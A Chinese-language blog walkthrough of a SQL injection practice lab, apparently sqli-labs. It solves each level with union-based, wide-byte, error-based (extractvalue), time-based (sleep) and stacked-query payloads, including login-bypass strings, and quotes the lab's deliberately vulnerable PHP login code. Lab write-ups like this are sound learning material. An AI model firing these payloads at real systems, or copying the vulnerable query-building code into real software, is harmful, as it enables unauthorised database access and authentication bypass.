靶场,靶场,一个靶场打一天,又是和waf斗智斗勇的一天,waf我和你拼啦!!
先是一套基本的判断 ,发现是字符型,然后发现好像他什么都不过滤?于是开始poc
321313132"+union+select+2,user(),"2
于是你就会又见到熟悉的朋友,于是就能猜到又有)(这种东西
换句poc?发现就能成功bypasss
321313132")+union+select+2,user(),("2
当我们添加一个' 就能看见这样的回显
那就想都不用想,就是宽字节注入,于是就猜测是不是字符型,其实如果他把注释符号也过滤了的话那就是绝杀了,但是好险他不过滤
于是我们就构造poc ,但是这里的盲注poc是不行的,因为会被转义 所以要联合查询
这题还以为有什么过滤,结果发现和上一关一摸一样
首先我们能看见一个登录界面,不用想,肯定是要我们免密码登录
由于先测试一下注入的姿势,能发现是宽字节的过滤
于是就有poc:
admin%df'or+1=1--+
成功登录
首先一顿操作猛如虎,先加一个单引号,猜测是宽字节
然后就发现为啥啥都过滤但是却报错???
无意间我瞅了一眼网页标签,然后就就开始笑了,我们判断字符注入的方法是什么?你肯定会说
不错,确实是这样的,但是对应宽字节呢??来看宽字节的绕过过程
这是候的sql语句是肯定是错的 因为 中间多了一个中文字 所以我们根本无法根据报错来判断注入类型 也就是这个可能是字符型或者数字型!!!! 不信 不妨试试数字型的poc
0+union+select+1,database(),user()--+
所以这就是他的网页名的来由:why_care_addslashes的原因 与这个函数根本就没有关系!!
这个函数和addslashes差不都是对一些特定的字符添加一个 / 并且拼接 ,所以他的poc和前面差不多,(或者说是一摸一样)
0%df'+union+select+1,user(),database()--+
这个和三十四关又是一样的
admin%df'+or+1=1--+
这个我在我之前的blog里面讲过,就不多赘述了
这个其实就是堆叠注入的数字型 比字符型还简单 也不多赘述了
做这一关的时候,小编是有一点疑惑,因为你会发现这一关的poc可以无限写
0')union+select+1,database(),user()--+
1')and+length(database())=8--+
0')union+select+1,user(),database()--+
你就会发现,他们都是可以的,难道这一关就止步于此???
于是就去看了一下他的源代码,发现好家伙,代码还不少,那不因该毫无新意啊!?
访问login.php,发现报错
于是我就发现问题出现在了login.php那里,一起来看代码
$login = sqllogin();
if (!$login== 0)
{
$_SESSION["username"] = $login;
setcookie("Auth", 1, time()+3600); /* expire in 15 Minutes */
header('Location: logged-in.php');
}
else
{
?>
其中slap1.jpg就是我们看见的那张照片,所以可以知道$login=0,而$login又是通过sqllogin函数实现的,那么我们去看一下sqllogin函数就好
function sqllogin(){
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
print_r($row) ;
if ($row[1]) {
echo $row[1];
} else {
return 0;
}
}
来审计一下代码:
所以就在url拼接login_user 和 login_password这两个字段就好
但是不难发现就算将这两个字段拼接上也好,也还是报错,因该是还缺了什么参数,不管了下一题
这道题也是做的云里雾里的,啥都不过滤,一句poc就注出来了
查看了源代码才发现原来是堆叠注入,那也不多赘述了
尝试一下,发现在账号处无论怎么测试都没有发现注入点,于是就去试一下密码处,成功报错
于是就开始我们的poc
password=1'+or+1='1
其实这里也可以进行堆叠查询,因为这里也包含mysqli_mutil_query这个函数!!
这题其实和上一题一模一样 就是多一个() 先上poc
password=admin')or+1=1--+
然后不知道你们会不会感到有点奇怪,对于拼接之后的那个句子结构
$sql = "SELECT * FROM users WHERE username=('111') and password=('admin') or 1=1 ";
于是我就去跑去问了一下chatgpt 结果他给到了我这样一个回答
admin'+or+1=1--+
soga~~~原来如此
不知道为什么他的答案和四十二关一样,那就直接上poc了
password=admin'+or+1=1--+
这个题思路和上一关一样,只不过得到的字段被()包裹,所以直接上poc
login_password=admin')or+1=1--+
其实这种还挺难搞
所以这里只能报错注入了,上poc
3+and+extractvalue(1,(concat(0x7e,(database()),0x7e)))--+
这样就能爆出他的数据库,如果它不返回报错信息的话那么就基本上不存在注入了
这题其实就是和上面的那一题一样 只不过多一个 ' 而已
3'+and+extractvalue(1,(concat(0x7e,(database()),0x7e)))
这题更离谱,它直接啥都不给你了,于是可以盲注
3'+and+sleep(1)
但是我很好奇,就算盲注成功,那攻击者也获取不了它的数据库信息啊?所以这个sql注入有什么用????
这一关就和上一关一样,不过是字符型
这一关是可以进行堆叠注入的 ,但是你返回的值要满足这样
if ($result = mysqli_store_result($con1))
{
while($row = mysqli_fetch_row($result))
{
echo '';
echo "";
echo "";
printf("%s", $row[0]);
echo " ";
echo "";
printf("%s", $row[1]);
echo " ";
echo "";
printf("%s", $row[2]);
echo " ";
echo " ";
echo "";
}
能成功地返回这样的结果,也可谓是十分困难了吧
1'and+extractvalue(1,(concat(0x7e,database(),0x7e)))--+
poc:
sort=1+and+sleep(1)
poc:
1'+and+sleep(4324324342)--+
这个其实有点在故弄玄虚,其实就是一个普通的注入,不要想太多 poc:
111111'+union+select+1,database(),user()--+
还是和上面一样多试试就出来了
32131313123122)%20union%20select%201,database(),user()--+
这个其实就是我们前面练的多的,不多说
)+union+select+1,user(),('1
不多说,救赎之道,就在标题 上poc
?id=3213113211"%20union+select%201,user(),database()--+
这题一开始没做出来,去看了题解,才恍然大雾
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '';
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo "
";
echo 'Your Password : ' .$pass[$row['id']];
echo "";
看似一切正常,啥都不过滤,但是细看发现:
你的输出是什么鬼?????
所以这里只能报错注入了
1' and extractvalue(1,(concat(0x7e,database(),0x7e))) --+
不多赘述 ,"救赎之道,就在标题 "
poc:
id=1")%20and%20extractvalue(1,(concat(0x7e,database(),0x7e)))%20--+
不多说,先来看看源码
$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";
不是,出题人,你无聊是吧搞这些 给我弄两个括号,所以就能上poc了
id=1%27))and%20extractvalue(1,(concat(0x7e,(database()),0x7e)))--+
这一关是没有回显的,所以我们可以采用sleep来注入
id=1') and sleep(21)--+
这一关只是没有括号而已
?id=1%27and%20sleep(323)--+
这里的话就是还是有((这样的逆天玩意 ,所以我们直接上poc就好
?id=1))and%20if(length(database())=10,1,0)=1--+
这里也是不多说,直接上poc:
id=1")and%20if(length(database())=10,1,0)=1--+